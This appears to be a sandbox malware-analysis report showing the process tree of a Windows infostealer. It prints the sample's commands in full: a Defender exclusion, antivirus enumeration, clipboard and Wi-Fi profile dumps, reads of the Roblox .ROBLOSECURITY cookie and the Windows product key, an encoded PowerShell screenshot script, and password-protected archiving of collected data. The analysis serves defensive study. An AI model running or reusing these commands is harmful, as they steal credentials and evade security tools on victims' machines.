C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,4136245939995665207,5646749499902856611,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4748 /prefetch:17⤵PID:5504
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,4136245939995665207,5646749499902856611,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3848 /prefetch:17⤵PID:2424
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2100,4136245939995665207,5646749499902856611,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5624 /prefetch:87⤵PID:5744
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5028 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:440 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1440 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4816 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3832 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵
- Suspicious use of WriteProcessMemory
PID:3848 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2052 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Suspicious use of WriteProcessMemory
PID:3508 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1500 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4120 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1112 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
- Suspicious use of WriteProcessMemory
PID:3252 -
C:\Windows\system32\tree.comtree /A /F4⤵PID:4524
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵PID:2616
-
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵PID:2316
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵
- Suspicious use of WriteProcessMemory
PID:428 -
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:4428 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"3⤵PID:1576
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath4⤵PID:3468
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="3⤵
- Suspicious use of WriteProcessMemory
PID:656 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4488 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yo2t4tbs\yo2t4tbs.cmdline"5⤵PID:4140
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5072.tmp" "c:\Users\Admin\AppData\Local\Temp\yo2t4tbs\CSCD4A7F50A74F94966A1C7F7F638B62D93.TMP"6⤵PID:5464
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵PID:5224
-
C:\Windows\system32\tree.comtree /A /F4⤵PID:5748
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"3⤵PID:5264
-
C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts4⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:5736 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"3⤵PID:4272
-
C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts4⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:6028 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵PID:4168
-
C:\Windows\system32\tree.comtree /A /F4⤵PID:4784
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵PID:5276
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4888 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵PID:5464
-
C:\Windows\system32\tree.comtree /A /F4⤵PID:1600
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵PID:3508
-
C:\Windows\system32\tree.comtree /A /F4⤵PID:1500
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵PID:4948
-
C:\Windows\system32\tree.comtree /A /F4⤵PID:4488
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"3⤵PID:3848
-
C:\Windows\system32\getmac.exegetmac4⤵PID:1232
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2268"3⤵PID:1968
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 22684⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6104 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2268"3⤵PID:5204
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 22684⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2188 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 3544"3⤵PID:744
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 35444⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4636 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 3544"3⤵PID:2520
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 35444⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5236 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5244"3⤵PID:1380
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 52444⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1880 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5244"3⤵PID:4972
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 52444⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5352 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5252"3⤵PID:5584
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 52524⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1980 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5252"3⤵PID:3876
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 52524⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1088 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5904"3⤵PID:1752
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4948
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 59044⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2060 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5916"3⤵PID:5816
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 59164⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1744 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"3⤵PID:2844
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2140 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5924"3⤵PID:4840
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 59244⤵
- Kills process with taskkill
PID:1112 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5996"3⤵PID:4104
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 59964⤵
- Kills process with taskkill
PID:3484 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"3⤵PID:5056
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5348 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 6004"3⤵PID:5256
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 60044⤵
- Kills process with taskkill
PID:5684 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4340"3⤵PID:5096
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 43404⤵
- Kills process with taskkill
PID:4936 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4124"3⤵PID:3964
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 41244⤵
- Kills process with taskkill
PID:4248 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2052"3⤵PID:1948
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 20524⤵
- Kills process with taskkill
PID:2060 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5388"3⤵PID:1752
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:5224
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 53884⤵
- Kills process with taskkill
PID:3320 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5504"3⤵PID:3376
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 55044⤵
- Kills process with taskkill
PID:3684 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI50922\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\BmjEE.zip" *"3⤵PID:1820
-
C:\Users\Admin\AppData\Local\Temp\_MEI50922\rar.exeC:\Users\Admin\AppData\Local\Temp\_MEI50922\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\BmjEE.zip" *4⤵
- Executes dropped EXE
PID:5244 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"3⤵PID:5644
-
C:\Windows\System32\Wbem\WMIC.exewmic os get Caption4⤵PID:5068
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"3⤵PID:4660
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2188
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory4⤵PID:5984
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵PID:936
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵PID:436
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"3⤵PID:6028
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4136 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵PID:2068
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:5056
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
PID:1520 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"3⤵PID:2936
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault4⤵
- Suspicious behavior: EnumeratesProcesses
PID:1948
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:5280
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:1640
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:2680
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x33c 0x4081⤵
- Suspicious use of AdjustPrivilegeToken
PID:4928
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:3880
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe b6d488f4cb8e1fc8f2e3a73ccb14c8dc NATkC46lDEa//MJPa1ySbA.0.1.0.0.01⤵PID:2520
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
